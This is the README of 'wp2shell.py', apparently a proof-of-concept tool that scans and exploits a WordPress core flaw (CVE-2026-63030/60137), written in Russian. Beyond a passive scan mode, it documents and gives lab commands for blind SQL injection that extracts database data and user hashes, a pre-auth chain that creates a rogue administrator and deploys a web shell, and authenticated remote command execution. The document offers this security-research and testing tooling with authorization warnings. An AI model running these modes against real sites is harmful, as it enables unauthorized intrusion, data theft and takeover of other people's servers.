
CVE-2026-63030, CVE-2026-60137, wp2shell scanner
Инструмент для обнаружения и проверки уязвимости wp2shell в ядре WordPress (CVE-2026-63030 / CVE-2026-60137). Режимы выбираются с помощью флага, а цель указывается позиционно. --scan снимает отпечаток версии ядра и подтверждает доступность маршрута REST /batch/v1 без отправки эксплойта; режимы --check/--read/--shell/--rce/--root-prereq являются PoC для проверки в авторизованной лабораторной среде.
wp2shell.py — это единый скрипт, использующий только стандартную библиотеку Python — без внешних зависимостей. Каждый запуск выводит баннер ZephrSec в stderr (он не попадает в stdout, поэтому вывод JSON при --scan -j остаётся нетронутым).
Требуется ровно один флаг режима; цель задаётся позиционно (URL для каждого режима или список хостов для --scan).
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
Подробный пост в блоге: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
Одиночный хост, несколько хостов или файл.
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
Опции: -f/--file файл с хостами (по одному на строку), -j/--json вывод JSON, -t/--threads параллелизм (по умолчанию 10).
Режимы --check/--read/--shell/--rce/--root-prereq отправляют живые полезные нагрузки эксплойтов. Запускайте их только на встроенной локальной лаборатории или на других системах, которыми вы владеете и на тестирование которых у вас есть явное разрешение. --shell и --rce выполняют удалённое выполнение команд и предназначены для лабораторных/авторизованных целей; --rce на хосте, не являющемся loopback, требует --authorized. --root-prereq использует тот же диагностический плагин с токеном для проверки предварительных условий для повышения привилегий, но не выполняет локальное повышение привилегий.
--shell требует восстановленного/взломанного пароля администратора. --rce — это цепочка без учётных данных (pre-auth): она создаёт собственного администратора через SQLi (oEmbed → changeset → реентерабельный parse_request), затем развёртывает веб-шелл — пароль не требуется.
--shell, --rce и --root-prereq запрашивают интерактивное подтверждение y/N перед отправкой любой полезной нагрузки, выполняющей код (они прерываются при неинтерактивном/EOF stdin). Передайте -y/--yes, чтобы пропустить запрос для автоматизации в лаборатории или для авторизованной цели.
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
Патчи, использованные для обоснования PoC, сохранены в poc/diffs/, с исследовательскими заметками в poc/RESEARCH.md. SQLi полностью реконструируется из исправления author__not_in. Цепочка без учётных данных --rce (oEmbed → changeset → повторный вход → создание администратора) воспроизводит стандартную RCE на встроенной лаборатории; --shell — это альтернативный путь через восстановленные/взломанные учётные данные администратора для аутентифицированной загрузки плагина и выполнения команд.
| Флаг | Назначение |
|---|
--scan | Неразрушающая проверка уязвимости: определение версии + подтверждение доступности маршрута REST /batch/v1. Эксплойт не отправляется. |
--check | Подтверждает слепую time-based SQLi с помощью безвредного дифференциального зонда. |
--read | Извлекает данные через слепую SQLi (по заданному шаблону или с помощью необработанного скалярного SQL-выражения). |
--shell | Цепочка RCE с аутентификацией, использующая взломанный/восстановленный пароль администратора. |
--rce | RCE без учётных данных (pre-auth): создаёт собственного администратора через SQLi, затем развёртывает самоочищающийся веб-шелл. |
--root-prereq | Безопасная проверка предварительных условий для повышения привилегий от оболочки до root; выполняет только диагностику, никогда не выполняет локальное повышение привилегий. |
| Флаг | Применяется к | Назначение |
|---|
-f, --file | --scan | Читать хосты из файла (по одному на строку; строки с # пропускаются). |
-j, --json | --scan | Выводить результаты в формате JSON в stdout. |
-t, --threads | --scan | Уровень параллелизма сканирования (по умолчанию 10). |
--prefix | --check/--read | Префикс таблиц БД (по умолчанию wp_). |
--delay | --check/--read | Количество секунд SLEEP для временного оракула (по умолчанию 0.15). |
--repeats | --check/--read | Медиана по N зондам на бит; увеличивайте при зашумлённых каналах (по умолчанию 1). |
--preset | --read | Встроенная цель: version, database, db_user, users, siteurl (по умолчанию users). |
--expr | --read | Необработанное скалярное SQL-выражение для извлечения (переопределяет --preset). |
--max-len | --read | Максимальная длина извлекаемой строки (по умолчанию 128). |
--user | --shell/--root-prereq | Имя пользователя администратора для входа (по умолчанию admin). |
--password | --shell/--root-prereq | Пароль администратора в открытом виде (взломайте хеш из --read; требуется для этих режимов). |
--cmd | --shell/--rce | Команда для выполнения на цели (по умолчанию id). |
-i, --interactive | --shell/--rce | Интерактивный цикл веб-команд вместо одной команды. |
--no-cleanup | --shell/--rce | Оставить загруженный плагин/веб-шелл на месте (только для лаборатории). |
-y, --yes | --shell/--rce/--root-prereq | Пропустить интерактивный запрос авторизации (для автоматизации). |
--sleep | --rce | Количество секунд SLEEP для обнаружения SQLi без аутентификации (по умолчанию 4). |
--rounds | --rce | Медиана по N зондам для обнаружения --rce (по умолчанию 3). |
--route | --rce | Форма пакетного маршрута: auto, rest-route или wp-json (по умолчанию auto). |
--proxy | --rce | Направлять запросы через HTTP-прокси, например Burp на http://127.0.0.1:8080. |
--authorized | --rce | Подтвердить авторизацию для цели --rce, не являющейся локальной (требуется для удалённых хостов). |
--timeout | все | Тайм-аут на один запрос в секундах (по умолчанию 15). |